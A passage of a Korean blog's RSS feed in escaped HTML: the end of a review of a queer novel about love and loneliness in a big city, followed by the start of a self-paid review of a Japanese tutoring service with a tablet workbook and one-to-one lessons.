&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이남 사회에는 갈수록 복잡한 문제들이 발생되고 있습니다. 외국인노동자 문제, 국제결혼, 영어 만능적 사고의 팽배, 동성애와 트랜스젠더, 유학과 이민자의 급증, 극단적 이기주의의 만연, 종교의 포화상태, 외래 자본의 예속성 심화, 서구 문화의 침투 등 불과 몇년 전만 해도 상상할 수 없는 문제들이 나타나고 있습니다.&lt;br /&gt;(민족의 진로, 2007년 3월호)&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMiVFQiU4RiU5OSVFQyU4NCVCMSVFQyU5NSVBMCVFQyU5RCU5OCUyMCVFQiVCNiU4MCVFQiVCNiU4NCVFQSVCOSU4QyVFQyVBNyU4MCVFQiU4QSU5NCUyMCVFQyU5RSU5MCVFQyU4NCVCOCVFRCU5RSU4OCUyMCVFQyU5NSU4QyUyMCVFQyU4OCU5OCUyMCVFQyU5NyU4NiVFQSVCOCVCMCUyMCVFQiU5NSU4QyVFQiVBQyVCOCVFQyU5NyU5MCUyMCVFRCU5NSVBOCVFQiVCNiU4MCVFQiVBMSU5QyUyMCVFQiVBNyU5MCVFRCU5NSVBMCUyMCVFQyU4OCU5OCUyMCVFQyU5NyU4NiVFQiU4QiVBNC4lMjAlRUQlOTUlOTglRUMlQTclODAlRUIlQTclOEMlMjAlRUElQjclQjglRUIlOTMlQTQlRUMlOUQlQjQlMjAlRUQlOTUlOTglRUIlOEElOTQlMjAlRUMlODIlQUMlRUIlOUUlOTElRUMlOTclOTAlMjAlRUIlOEMlODAlRUQlOTUlQjQlMjAlRUIlOEIlQTQlRUIlQTMlQTglRUIlQTklQjQlRUMlODQlOUMlMjAlRUIlQTclODglRUMlQTMlQkMlRUMlQjklOTglRUIlOEElOTQlMjAlRUMlOTclQUMlRUIlOUYlQUMlMjAlRUElQjAlODglRUIlOTMlQjElRUMlOTclOTAlMjAlRUIlOEMlODAlRUQlOTUlQjQlRUMlODQlOUMlRUIlOEYlODQlMjAlRUMlOUUlOTAlRUMlOTclQjAlRUMlOEElQTQlRUIlOUYlQkQlRUElQjIlOEMlMjAlRUIlOEIlQTQlRUIlQTMlQTglRUElQjglQjAlMjAlRUIlOTUlOEMlRUIlQUMlQjglRUMlOTclOTAlMjAlRUElQjAlODQlRUMlQTAlOTElMjAlRUElQjIlQkQlRUQlOTclOTglRUMlOUQlODQlMjAlRUQlOTUlOTglRUIlOEElOTQlMjAlRUIlOEElOTAlRUIlODIlOEMlRUMlOUQlQjQlMjAlRUIlOTMlQTAlRUIlOEIlQTQuJTIwJUVBJUIwJTgwJUVDJUExJUIxJUVCJTkzJUE0JUVBJUIzJUJDJUVDJTlEJTk4JTIwJUVCJUE3JTg4JUVDJUIwJUIwJTJDJTIwJUVDJUEyJTg1JUVBJUI1JTkwJUVDJTk5JTgwJUVDJTlEJTk4JTIwJUVCJUE3JTg4JUVDJUIwJUIwJTJDJTIwJUVDJTgyJUFDJUVCJTlFJTkxJUVDJTlEJUI0JUVBJUI4JUIwJTIwJUVDJTlEJUI0JUVDJUEwJTg0JUVDJTk3JTkwJTIwJUVDJTgyJUFDJUVCJTlFJThDJTIwJUVBJUIwJTg0JUVDJTlEJTk4JTIwJUVDJUIwJUE4JUVDJTlEJUI0JTIwJUVCJTkzJUIxJTIwJUVEJTgwJUI0JUVDJTk2JUI0JTIwJUVDJTg2JThDJUVDJTg0JUE0JUVDJTlEJUI0JUVCJTlEJUJDJUVCJThBJTk0JTIwJUVEJThBJUI5JUVDJTg4JTk4JUVDJTg0JUIxJUVDJTlEJTgwJTIwJUVDJTlFJTg4JUVDJUE3JTgwJUVCJUE3JThDJTIwJUVBJUIwJTgwJUVDJTlFJUE1JTIwJUVEJTgxJUIwJTIwJUVDJUEzJUJDJUVDJUEwJTlDJUVCJUE3JThDJTIwJUVDJUEwJTlDJUVDJTk5JUI4JUVEJTk1JTk4JUVCJUE5JUI0JTIwJUVDJTlBJUIwJUVCJUE2JUFDJUVBJUIwJTgwJTIwJUVDJTgyJUI0JUVDJTk1JTg0JUVBJUIwJTgwJUVCJThBJTk0JTIwJUVDJTlEJUI0JUVDJTk1JUJDJUVBJUI4JUIwJUVDJTk5JTgwJTIwJUVCJTk4JTkxJUVBJUIwJTk5JUVCJThCJUE0LiUyMCUyMiU3RCU1RCU3RCU1RA==&quot;&gt;동성애의 부분까지는 자세히 알 수 없기 때문에 함부로 말할 수 없다. 하지만 그들이 하는 사랑에 대해 다루면서 마주치는 여러 갈등에 대해서도 자연스럽게 다루기 때문에 간접 경험을 하는 느낌이 든다. 가족들과의 마찰, 종교와의 마찰, 사랑이기 이전에 사람 간의 차이 등 퀴어 소설이라는 특수성은 있지만 가장 큰 주제만 제외하면 우리가 살아가는 이야기와 똑같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMiVFQyU5RSU5MSVFQSVCMCU4MCVFQiU4QSU5NCUyMCVFQyU4MiVBQyVFQiU5RSU5MSVFQyU5RCU4MCUyMCVFQiU4OCU4NCVFQSVCNSVBQyVFQyU5NyU5MCVFQSVCMiU4QyVFQiU4MiU5OCUyMCVFQiU4QiVCRiVFQyU5RCU4NCUyMCVFQyU4OCU5OCUyMCVFQyU5RSU4OCVFQiU4QiVBNCVFQiU4QSU5NCUyMCVFQiVCMyVCNCVFRCU4RSVCOCVFQyVBMCU4MSVFQyU5RCVCOCUyMCVFQSVCMCU5MCVFQyVBMCU5NSVFQyU5RSU4NCVFQyU5RCU4NCUyMCVFQyU5RCVCNCVFQyU5NSVCQyVFQSVCOCVCMCVFRCU5NSU5OCVFQiVBMCVBNCVFQiU4RCU5OCUyMCVFQSVCMiU4MyUyMCVFQSVCMCU5OSVFQiU4QiVBNC4lMjAlRUElQjclQjglMjAlRUQlOTglOTUlRUQlODMlOUMlRUMlOTklODAlMjAlRUElQjIlQkQlRUQlOTclOTglRUMlOUQlODAlMjAlRUMlOUUlOTAlRUMlOUMlQTAlRUIlQTElOUMlRUMlOUElQjglMjAlRUMlODglOTglMjAlRUMlOUUlODglRUIlOEIlQTQuJTIwJUVBJUIwJTlDJUVDJTlEJUI4JUVDJTlEJTk4JTIwJUVDJUEwJTk1JUVDJUIyJUI0JUVDJTg0JUIxJUVDJTlEJTg0JTIwJUVDJUIwJUJFJUVCJThBJTk0JTIwJUVBJUIzJUJDJUVDJUEwJTk1JUVDJTk3JTkwJUVDJTg0JTlDJTIwJUVDJTgyJUFDJUVEJTlBJThDJUVDJUEwJTgxJTIwJUVEJThFJUI4JUVBJUIyJUFDJUVBJUIzJUJDJUVDJTlEJTk4JTIwJUVBJUIwJTg4JUVCJTkzJUIxJUVDJTlEJTg0JTIwJUVCJThCJUE0JUVCJUEzJUFDJUVCJThCJUE0LiUyMCVFQSVCNyVCOCUyMCVFQSVCMyVCNSVFQSVCMCU4NCVFQyU5RCU4NCUyMCclRUIlOEMlODAlRUIlOEYlODQlRUMlOEIlOUMnJUVCJTlEJUJDJUVCJThBJTk0JTIwJUVBJUIzJUIzJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVCJTkxJTkwJUVDJTk2JUI0JTIwJUVCJUE3JThFJUVDJTlEJTgwJTIwJUVDJTgyJUFDJUVCJTlFJThDJUVCJTkzJUE0JUVBJUIzJUJDJTIwJUVDJTg4JTk4JUVCJUE3JThFJUVDJTlEJTgwJTIwJUVBJUI0JTgwJUVBJUIzJTg0JUVBJUIwJTgwJTIwJUVDJTlFJTg4JUVDJUE3JTgwJUVCJUE3JThDJTIwJUVBJUI3JUI4JTIwJUVDJTg2JThEJUVDJTk3JTkwJUVDJTg0JTlDJTIwJUVCJThBJTkwJUVCJTgxJUJDJUVCJThBJTk0JTIwJUVDJTk5JUI4JUVCJUExJTlDJUVDJTlCJTgwJUVDJTlEJTg0JTIwJUVDJUIwJUE4JUVBJUIwJTkxJUVBJUIyJThDJTIwJUVBJUI3JUI4JUVCJUEwJUE0JUVCJTgyJUI0JUVBJUIzJUEwJTIwJUVDJTlFJTg4JUVCJThCJUE0LiUyMCUyMiU3RCU1RCU3RCU1RA==&quot;&gt;작가는 사랑은 누구에게나 닿을 수 있다는 보편적인 감정임을 이야기하려던 것 같다. 그 형태와 경험은 자유로울 수 있다. 개인의 정체성을 찾는 과정에서 사회적 편견과의 갈등을 다룬다. 그 공간을 '대도시'라는 곳으로 두어 많은 사람들과 수많은 관계가 있지만 그 속에서 느끼는 외로움을 차갑게 그려내고 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;나가며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMiVFQiU5OCU5MCVFQiU4QiVBNCVFQiVBNSVCOCUyMCVFQiVBQyVCOCVFRCU5NSU5OSVFQyU5RCU5OCUyMCVFQiU4QiVBNCVFQyU5NiU5MSVFQyU4NCVCMSVFQyU5RCU5OCUyMCVFRCU5OSU5NSVFQiU4QyU4MCVFQiVBMSU5QyUyMCVFQiVCMyVCNCVFQSVCMyVBMCUyMCVFQyU5RSU4OCVFQiU4QiVBNC4lMjAlRUElQjglQjAlRUMlQTElQjQlRUMlOTclOTAlRUIlOEYlODQlMjAlRUIlQTclOEUlRUMlOUQlODAlMjBMR0JUUSUyQiUyMCVFQyU4NiU4QyVFQyU4NCVBNCVFQyU5RCVCNCUyMCVFQyU5RSU4OCVFQyU5NyU4OCVFQSVCMiVBMCVFQyVBNyU4MCVFQiVBNyU4QyUyMCVFQyU5RCVCNCVFQiVBMCU4NyVFQSVCMiU4QyUyMCVFQiU4QyU4MCVFQyVBNCU5MSVFQyU5RCU5OCUyMCVFQyU4MiVBQyVFQiU5RSU5MSVFQyU5RCU4NCUyMCVFQiVBNyU4RSVFQyU5RCVCNCUyMCVFQiVCMCU5QiVFQyU5RCU4MCUyMCVFQyU5RSU5MSVFRCU5MiU4OCVFQyU5RCVCNCUyMCVFQyU5RSU4OCVFQyU5NyU4OCVFQiU4RCU5OCVFQSVCMCU4MC4lMjAlRUMlQTAlODQlRUQlODYlQjUlRUMlQTAlODElRUMlOUQlQjQlRUElQjMlQTAlMjAlRUIlQjMlQjQlRUMlODglOTglRUMlQTAlODElRUMlOUQlQjglMjAlRUMlODQlQjElRUQlOTYlQTUlRUMlOUQlQjQlMjAlRUElQjAlOTUlRUQlOTUlOUMlMjAlRUQlOTUlOUMlRUElQjUlQUQlMjAlRUIlQUMlQjglRUQlOTUlOTklRUMlOTclOTAlMjAlRUMlODMlODglRUIlQTElOUMlRUMlOUElQjQlMjAlRUIlQUMlQkMlRUElQjIlQjAlRUMlOUQlODQlMjAlRUIlQjYlODglRUMlOTYlQjQlRUIlODQlQTMlRUMlOUQlODAlMjAlRUMlQjElODUlRUMlOUQlQjQlMjAlRUMlOTUlODQlRUIlOEIlOTAlRUElQjklOEMuJTIwJUVDJTgyJUFDJUVEJTlBJThDJUVDJUEwJTgxJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVBJUI4JTg4JUVBJUI4JUIwJUVCJTkwJTk4JUVDJTk3JTg4JUVCJThEJTk4JTIwJUVDJUEzJUJDJUVDJUEwJTlDJUVDJTlEJTk4JTIwJUVDJTgyJUI2JUVDJTlEJTg0JTIwJUVDJTk4JTg4JUVDJTg4JUEwJUVDJUEwJTgxJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVCJTg1JUI5JUVDJTk3JUFDJUVCJTgyJUI0JUVDJTk2JUI0JTIwJUVCJThGJTg1JUVDJTlFJTkwJUVCJTkzJUE0JUVDJTlEJTk4JTIwJUVBJUIzJUI1JUVBJUIwJTkwJUVDJTlEJTg0JTIwJUVDJTlEJUI0JUVCJTgxJThDJUVDJTk2JUI0JTIwJUVCJTgzJTg4JUVCJThCJUE0JUVCJThBJTk0JTIwJUVDJUEwJTkwJUVDJTk3JTkwJUVDJTg0JTlDJTIwJUVDJTlEJUI4JUVDJTgzJTgxJTIwJUVBJUI5JThBJUVDJTk3JTg4JUVCJThCJUE0LiUyMiU3RCU1RCU3RCU1RA==&quot;&gt;또다른 문학의 다양성의 확대로 보고 있다. 기존에도 많은 LGBTQ+ 소설이 있었겠지만 이렇게 대중의 사랑을 많이 받은 작품이 있었던가. 전통적이고 보수적인 성향이 강한 한국 문학에 새로운 물결을 불어넣은 책이 아닐까. 사회적으로 금기되었던 주제의 삶을 예술적으로 녹여내어 독자들의 공감을 이끌어 냈다는 점에서 인상 깊었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot; data-slate-fragment=&quot;JTVCJTdCJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmNoaWxkcmVuJTIyJTNBJTVCJTdCJTIydGV4dCUyMiUzQSUyMiVFQiU5OCU5MCVFQiU4QiVBNCVFQiVBNSVCOCUyMCVFQiVBQyVCOCVFRCU5NSU5OSVFQyU5RCU5OCUyMCVFQiU4QiVBNCVFQyU5NiU5MSVFQyU4NCVCMSVFQyU5RCU5OCUyMCVFRCU5OSU5NSVFQiU4QyU4MCVFQiVBMSU5QyUyMCVFQiVCMyVCNCVFQSVCMyVBMCUyMCVFQyU5RSU4OCVFQiU4QiVBNC4lMjAlRUElQjglQjAlRUMlQTElQjQlRUMlOTclOTAlRUIlOEYlODQlMjAlRUIlQTclOEUlRUMlOUQlODAlMjBMR0JUUSUyQiUyMCVFQyU4NiU4QyVFQyU4NCVBNCVFQyU5RCVCNCUyMCVFQyU5RSU4OCVFQyU5NyU4OCVFQSVCMiVBMCVFQyVBNyU4MCVFQiVBNyU4QyUyMCVFQyU5RCVCNCVFQiVBMCU4NyVFQSVCMiU4QyUyMCVFQiU4QyU4MCVFQyVBNCU5MSVFQyU5RCU5OCUyMCVFQyU4MiVBQyVFQiU5RSU5MSVFQyU5RCU4NCUyMCVFQiVBNyU4RSVFQyU5RCVCNCUyMCVFQiVCMCU5QiVFQyU5RCU4MCUyMCVFQyU5RSU5MSVFRCU5MiU4OCVFQyU5RCVCNCUyMCVFQyU5RSU4OCVFQyU5NyU4OCVFQiU4RCU5OCVFQSVCMCU4MC4lMjAlRUMlQTAlODQlRUQlODYlQjUlRUMlQTAlODElRUMlOUQlQjQlRUElQjMlQTAlMjAlRUIlQjMlQjQlRUMlODglOTglRUMlQTAlODElRUMlOUQlQjglMjAlRUMlODQlQjElRUQlOTYlQTUlRUMlOUQlQjQlMjAlRUElQjAlOTUlRUQlOTUlOUMlMjAlRUQlOTUlOUMlRUElQjUlQUQlMjAlRUIlQUMlQjglRUQlOTUlOTklRUMlOTclOTAlMjAlRUMlODMlODglRUIlQTElOUMlRUMlOUElQjQlMjAlRUIlQUMlQkMlRUElQjIlQjAlRUMlOUQlODQlMjAlRUIlQjYlODglRUMlOTYlQjQlRUIlODQlQTMlRUMlOUQlODAlMjAlRUMlQjElODUlRUMlOUQlQjQlMjAlRUMlOTUlODQlRUIlOEIlOTAlRUElQjklOEMuJTIwJUVDJTgyJUFDJUVEJTlBJThDJUVDJUEwJTgxJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVBJUI4JTg4JUVBJUI4JUIwJUVCJTkwJTk4JUVDJTk3JTg4JUVCJThEJTk4JTIwJUVDJUEzJUJDJUVDJUEwJTlDJUVDJTlEJTk4JTIwJUVDJTgyJUI2JUVDJTlEJTg0JTIwJUVDJTk4JTg4JUVDJTg4JUEwJUVDJUEwJTgxJUVDJTlDJUJDJUVCJUExJTlDJTIwJUVCJTg1JUI5JUVDJTk3JUFDJUVCJTgyJUI0JUVDJTk2JUI0JTIwJUVCJThGJTg1JUVDJTlFJTkwJUVCJTkzJUE0JUVDJTlEJTk4JTIwJUVBJUIzJUI1JUVBJUIwJTkwJUVDJTlEJTg0JTIwJUVDJTlEJUI0JUVCJTgxJThDJUVDJTk2JUI0JTIwJUVCJTgzJTg4JUVCJThCJUE0JUVCJThBJTk0JTIwJUVDJUEwJTkwJUVDJTk3JTkwJUVDJTg0JTlDJTIwJUVDJTlEJUI4JUVDJTgzJTgxJTIwJUVBJUI5JThBJUVDJTk3JTg4JUVCJThCJUE0LiUyMiU3RCU1RCU3RCU1RA==&quot;&gt;또다른 문학의 다양성의 확대로 보고 있다. 기존에도 많은 LGBTQ+ 소설이 있었겠지만 이렇게 대중의 사랑을 많이 받은 작품이 있었던가. 전통적이고 보수적인 성향이 강한 한국 문학에 새로운 물결을 불어넣은 책이 아닐까. 사회적으로 금기되었던 주제의 삶을 예술적으로 녹여내어 독자들의 공감을 이끌어 냈다는 점에서 인상 깊었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review/  Book</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/286</guid>
      <comments>https://gomguk.tistory.com/286#entry286comment</comments>
      <pubDate>Mon, 25 Nov 2024 00:16:08 +0900</pubDate>
    </item>
    <item>
      <title>[내돈내산] 가벼운 학습지/스피킹탭 일본어 10개월 수강 후기</title>
      <link>https://gomguk.tistory.com/285</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;새로운 무언가를 배우는 것은 기쁜 일이다. 하지만 무언가를 새로 시작하는 데에는 두려움이 앞선다. 무엇이건 새로운 시작에는 용기가 필요하고, 내가 했던 고민이 조금이나마 도움이 되지 않을까라는 마음에 경험을 공유한다. &quot;가벼운 학습지 -일본어&quot;를 10개월 동안 수강한 후기이다. 가벼운 학습지는 학습지만 배송받거나 태블릿이 있는 경우 앱으로 학습할 수 있다. 스피킹 탭은 1:1 외국어 말하기 수업으로 가벼운 학습지의 교재를 이용하여 레슨을 받는 것이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 가벼운 학습지 : 교재&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 스피킹탭 : 교재 + 1:1 레슨&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;홍보의 목적이 아니기 때문에 별도의 할인 링크나 초대코드를 제공하지 않는다. 필자도 시작하기 전 공홈이나 SNS할인 코드 등 여러 군데를 탐색했지만 공통적으로 지금이 아니면 다신 없을 할인을 하는 것처럼 하면서 결국엔 비슷비슷한 가격으로 운영된다. 그러니 마음 조급해하지 말고 신중하게 결정하자.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;photo_2024-11-18_19-45-57.jpg&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;1280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dny16p/btsKMfy57SR/3Fhbd1U1WtdyzhRBBcouJ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dny16p/btsKMfy57SR/3Fhbd1U1WtdyzhRBBcouJ0/img.jpg&quot; data-alt=&quot;주 1회 수업, 52주 완성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dny16p/btsKMfy57SR/3Fhbd1U1WtdyzhRBBcouJ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdny16p%2FbtsKMfy57SR%2F3Fhbd1U1WtdyzhRBBcouJ0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;468&quot; height=&quot;670&quot; data-filename=&quot;photo_2024-11-18_19-45-57.jpg&quot; data-origin-width=&quot;894&quot; data-origin-height=&quot;1280&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;주 1회 수업, 52주 완성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style5&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 수업&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;진행방식?&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;가벼운 학습지 스피킹탭 수업 과정은 공홈에도 나와있지만, 다음과 같이 진행된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 0. 레벨테스트&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 수업을 시작하기 전 희망하면 레벨테스트를 받을 수 있다. 히라가나를 읽을 수 있는지, い형용사와 な형용사를 구분할 수 있는지, 수동태, 사역형 등을 활용할 수 있는지 테스트한다. 히라가나도 모르면 히라가나 읽고 쓰는 법부터 배우면 되고, 알면 그 다음 단계부터 배우면 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 가벼운 학습지의 난이도는 JLPT기준 N4~N3 정도 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1. 이번주 분량 선행학습&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 가벼운학습지의 학습 교재를 이용한다. 인강(동영상)과 음성파일(MP3)이 앱에서 제공된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 종이학습지라면 종이에 풀면 되고 필자는 테블릿 이용하여 진행했다. 앱으로 시간과 장소에 관계없이 수업을 들을 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step2. 원어민 튜터와 1:1 수업&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 앱을 이용하여 해당 챕터를 비대면 온라인 수업한다. 멘토, 학생 개념으로 수업한다. 수업 전체 내용을 다루진 않고 대화 역할 바꿔 말하기, 단어 말하고 쓰기, 문법 등 전체적인 내용을 다룬다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 예습했다면 쉽게 따라할 수 있고, 예습하지 못했더라도 자신감있게 할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 수업은 1회당 25분 기준인데 본 수업은 20분~22분 정도하고 질문이 있는지 물어보고 없으면 그대로 종료된다. 질문하면 친절하게 알려준다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step3. 1:1 수업 다시보기&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 진행한 수업을 다시보기를 통해 실수한 부분, 몰랐던 부분을 복습할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 필자는 다시보기는 잘 이용하지 않았고 수업 중 체크했던 부분만 다시 확인했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_photo_2024-11-18_19-45-59.jpg&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9rNg3/btsKMJ0Nw16/4m57hJhhxWQlkFiCiixFg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9rNg3/btsKMJ0Nw16/4m57hJhhxWQlkFiCiixFg1/img.png&quot; data-alt=&quot;태블릿이 있다면 종이 교재 대신 앱으로 풀 수 있다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9rNg3/btsKMJ0Nw16/4m57hJhhxWQlkFiCiixFg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9rNg3%2FbtsKMJ0Nw16%2F4m57hJhhxWQlkFiCiixFg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;850&quot; data-filename=&quot;edited_photo_2024-11-18_19-45-59.jpg&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;태블릿이 있다면 종이 교재 대신 앱으로 풀 수 있다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
